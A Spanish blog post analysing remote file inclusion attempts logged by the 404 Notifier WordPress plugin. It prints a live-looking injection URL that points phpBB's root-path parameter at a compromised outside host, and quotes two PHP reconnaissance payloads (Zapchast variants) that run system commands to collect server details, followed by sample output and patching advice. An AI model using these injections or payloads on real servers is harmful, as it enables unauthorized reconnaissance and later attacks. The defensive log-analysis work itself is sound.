Estos plugins son muy útiles para detectar no sólamente grandes cantidades de contenidos que se han vuelto inaccesibles, como sucede en un cambio de permalinks o de directorios, sino para afinar y corregir enlaces rotos que por la razón que sea, han sido incluidos en los motores de búsqueda con nomenclaturas distintas a las actuales (por ejemplo, la antigua denominación de categorías del blog, ya que, por poner un ejemplo, lo que antes era http://www.sahw.com/wp/archivos/category/freestyle/ ahora es http://www.sahw.com/wp/categorias/freestyle/)

Pero este plugin tiene otra función interesante, y esa no es otra que identificar exploits. Hoy vamos a ver un ejemplo real. Tengo que agradecer a SdP su cooperación, ya que mis nociones de Perl son limitadas, y sin embargo, las suyas son muy elevadas, y con su ayuda he podido generar un script que barra un fichero mbox de Thunderbird donde conservo los mensajes de 404 notifier, automatizando la extracción de hiperenlaces anidados en URLs legítimas. Gracias :D

1. Un ejemplo de un correo originado por 404 notifier que contiene un enlace legítimo

Este es un ejemplo real de un correo del plugin, en el que como podemos ver, hay un informe de error 404 provocado por un usuario cuando intentaba acceder a un contenido:

Como resulta fácil comprobar, aparece claramente una URL de destino http://www.sahw.com/wp/favicon.ico. Efectivamente, si visitáis ese enlace, obtendremos un 404, porque no hay un favicon ahí alojado. El favicon del dominio sahw.com está alojado en http://www.sahw.com/favicon.ico

2. Un ejemplo de un correo originado por 404 notifier que contiene un enlace malicioso

Observad ahora este correo. Como podéis ver (es un ejemplo real, vivo en el momento de publicar esta información, aunque en la imagen no aparece completo), se advierte un error 404 al intentar acceder a la URL http://www.sahw.com/wp/archivos/2005/08/12/diez-razones-pa...r-en-internet-explorer-7//modules/PNphpBB2/includes/db.php?phpbb_root_path=http://www.bahai.org.ve//sistem.txt?. Pero fijaos que el error lo provoca un intento de inyección que, en última instancia, trataba de acceder a http://www.bahai.org.ve//sistem.txt?, dirección que al ser accedida muestra lo siguiente:

3. Analizando

¿Qué pasa si cogemos un total de 707 mensajes generados por 404 notifier y extraemos las URLs maliciosas que puedan contener. El resultado es este listado, en el que se enumeran 45 servidores comprometidos al servicio de los atacantes (en su mayoría, vivos en el momento de publicar este artículo)

Un porcentaje nada desdeñable. El 6,3% de los errores 404 provocados en este blog procede de ataques, o si se prefiere, casi 7 de cada 100 accesos a contenidos inexistentes del blog no han sido provocados por la ausencia de contenidos, sino por la mala intención de un grupo de atacantes.

4. ¿Y qué hace ese código que aparece anteriormente?

Veamos el contenido

 
< ?
echo "ALBANIA"; < --- texto libre del atacante
$alb = @php_uname(); < --- devuelve una descripción del sistema operativo
$alb2 = system(uptime); < -- devuelve el tiempo que lleva un sistema sin reiniciarse
$alb3 = system(id); <-- imprime el UID de la cuenta con la que se ejecuta el script
$alb4 = @getcwd(); <-- devuelve el directorio de trabajo
$alb5 = getenv("SERVER_SOFTWARE"); <-- variable de contorno que informa del tipo de servidor web y su versión
$alb6 = phpversion(); <-- versión de PHP en ejecución
$alb7 = $_SERVER['SERVER_NAME']; <-- variable de contorno, devuelve el nombre de la máquina, alias DNS o de la IP.
$alb8 = gethostbyname($SERVER_ADDR); <-- variable de contorno, devuelve la IP del servidor
$alb9 = get_current_user(); <-- usuario con el que se ejecuta un script PHP
$os = @PHP_OS; <-- versión reducida de php_uname(), sólo muestra el nombre del sistema operativo
 
===========================================
El siguiente bloque sólo imprime lo obtenido anteriormente
===========================================

echo "os: $os";
echo "uname -a: $alb";
echo "uptime: $alb2";
echo "id: $alb3";
echo "pwd: $alb4";
echo "user: $alb9";
echo "phpv: $alb6";
echo "SoftWare: $alb5";
echo "ServerName: $alb7";
echo "ServerAddr: $alb8";
echo "UNITED ALBANIANS aka ALBOSS PARADISE"; < --- otra firma
exit; <--- finaliza el script
?>

Una ejecución tendría un aspecto similar al siguiente:

ALBANIA
15:52:09 up 13 days, 22:05, 2 users, load average: 0.00, 0.01, 0.00 uid=33(www-data) gid=33(www-data) grupos=33(www-data) os: Linux
uname -a: Linux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686
uptime: 15:52:09 up 13 days, 22:05, 2 users, load average: 0.00, 0.01, 0.00
id: uid=33(www-data) gid=33(www-data) grupos=33(www-data)
pwd: /home/XXXXXXXX/public_html/exploitphp
user: XXXXXXXX
phpv: 5.2.4-2ubuntu5.3

SoftWare: Apache
ServerName: 192.168.1.3
ServerAddr:
UNITED ALBANIANS aka ALBOSS PARADISE

5. ¿Cuál es el mecanismo que los atacantes emplean para obtener la información técnica de un servidor?

El ataque se fundamenta en lanzar contra listas ingentes de servidores inyecciones similares a la mostrada, con el objetivo de obtener información técnica de las máquinas. Si consigo ejecutar en el servidor A (en este caso, lo intentaron contra mi blog) el código malicioso ubicado en el servidor B (por ejemplo, el ejemplo de http://www.bahai.org.ve//sistem.txt?) los atacantes obtendrían información técnica de mi servidor. Esto se basa en que algunos productos PHP, especialmente PHPNuke y phpBB, son susceptibles de este tipo de inyecciones, y permiten la ejecución de código malicioso inyectado desde otros sitios web, previamente comprometidos para servir el código a ejecutar. Y para colmo de males, ambos productos están muy extendidos, con lo que se trata de lanzar muchas peticiones, y luego recoger con la caña información de muchos servidores. Es una simple cuestión estadística, donde el único coste que hay que poner en lo alto de la mesa es el ancho de banda para que un script Perl (casi todos los accesos tenían User Agent libwww-perl/5.80) ejecute miles de intentos de inyección contra miles de sitios cada día.

6. ¿Por qué hacen esto?

Obviamente, para obtener información técnica de servidores, que facilite ataques dirigidos posteriores. Por ejemplo, si de la ejecución anterior obtenemos que el servidor 192.168.1.3 corre una versión de PHP (phpv: 5.2.4-2ubuntu5.3) vulnerable, que lo es, los atacantes ya tienen información suficiente para tratar de explotarlo, porque saben que en esa IP hay un producto susceptible de ataques.

Por otro lado, estas ejecuciones remotas permiten ir censando máquinas, y generar datos suficientes para explotar versiones determinadas de PHP, o del propio servidor Web, cuando aparezcan nuevas versiones y las actuales queden obsoletas. Si hoy me hago una lista de versiones PHP actualizadas (5.2.6), y mañana aparece una versión 5.2.7 que corrige fallos de seguridad, ya tengo una lista de sitios que, en ausencia de actualización, son blancos ideales para ser atacados.

7. ¿Es esto algo nuevo?

Lamentablemente, no. El ejemplo real que hemos visto lo bautizó en su momento el laboratorio de Eset, fabricante de NOD32, como PHP/Zapchast.C. Tiene otras denominaciones, y es un tipo de malware que lleva rondando la red, bajo este formato, desde más o menos abril de 2008.

Eso sí, el código va cambiando. Mirad el ejemplo, también real, de http://motookazja.com.pl/admin/libs/config.txt??, donde se introducen nuevas variables informativas, como el espacio en disco:

 
< ?php
function ConvertBytes($number)
{
        $len = strlen($number);
        if($len < 4)
        {
                return sprintf("%d b", $number);
        }
        if($len >= 4 && $len < =6)
        {
                return sprintf("%0.2f Kb", $number/1024);
        }
        if($len >= 7 && $len < =9)
        {
                return sprintf("%0.2f Mb", $number/1024/1024);
        }
 
        return sprintf("%0.2f Gb", $number/1024/1024/1024);
 
}
 
echo "knowledgeteam<br>";
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv("SERVER_SOFTWARE");
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
 
echo "knowledgeteam was here ..";
echo "uname -a: $un";
echo "os: $os";
echo "uptime: $up";
echo "id: $id1";
echo "pwd: $pwd1";
echo "php: $php1";
echo "software: $sof1";
echo "server-name: $name1";
echo "server-ip: $ip1";
echo "free: $free";
echo "used: $used";
echo "total: $all";
exit;
 

8. ¿Cómo evitar se parte de la trama?

Si administras un servidor Web, mantén siempre actualizados el software base y todos los productos. Emplea contraseñas y protocolos de acceso seguros, para impedir que nadie aloje en tus páginas código de este tipo.

Y revisa periódicamente los logs, para detectar patrones similares al descrito. No te queda otra :)

Un saludo,